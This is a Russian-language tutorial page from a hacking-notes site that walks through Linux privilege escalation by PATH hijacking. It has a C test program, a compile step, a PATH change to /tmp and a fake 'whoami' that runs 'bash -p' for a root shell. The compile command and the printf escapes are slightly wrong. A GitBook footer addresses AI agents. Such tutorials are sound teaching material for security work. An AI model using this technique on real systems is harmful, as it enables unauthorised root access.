> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md).

# Угон PATH (test.c) — повышение привилегий в Linux

## Что это такое

Перехват PATH злоупотребляет привилегированными программами или скриптами, которые вызывают команды без абсолютных путей. Если злоумышленник контролирует каталог, расположенный раньше в `PATH`, привилегированный процесс может выполнить бинарный файл атакующего. Эта конкретная страница посвящена **Перехват PATH (test.c)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## Примеры

Создайте файл в **/tmp/test.c** каталоге со следующим содержимым:

```c
#include <stdio.h>

int main(){
	setuid(0);
	printf("/n[+] Сейчас мы являемся следующим пользователем: /n/n");
	system("/usr/bin/whoami");
	printf("/n[+] Сейчас мы являемся следующим пользователем: /n/n");
	system("whoami");
	return 0;
}
```

Скомпилируйте скрипт с помощью **`gcc`** и создайте тестовый файл с помощью **`-o`** выдав ему права sudoers:

```bash
gcc test -o test
```

<figure><img src="/files/8f6445c62b185672caf4c6d531a0589494c12aa9" alt="" width="563"><figcaption></figcaption></figure>

Если вы запустите скрипт и отфильтруете по "whoami", вы заметите, что он сначала выполняет его по абсолютному пути, затем по **относительному**. Это серьёзная проблема, если мы **изменим $PATH**:

<figure><img src="/files/ae87437113fe942813eab3d2413d7ab24e290888" alt="" width="563"><figcaption></figcaption></figure>

Измените **$PATH** и приоритет будет отдан пути /tmp:

<div data-full-width="true"><figure><img src="/files/21e4ae77c467f26a0d96fd92e2bb0abd65ec14df" alt="" width="563"><figcaption></figcaption></figure></div>

Далее, **создайте следующий файл в tmp** каталоге:

```bash
touch whoami
chmod +x whoami
```

**Вставьте** следующее содержимое в файл:

```bash
bash -p
```

Выполнить **скрипт test** снова, и с $PATH получите доступ к Bash как **пользователь root**:

<figure><img src="/files/6ce1c285c5daf3a75b530efa9ee3ab0ee070b8f8" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/path-hijacking/path-hijacking-test.c-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
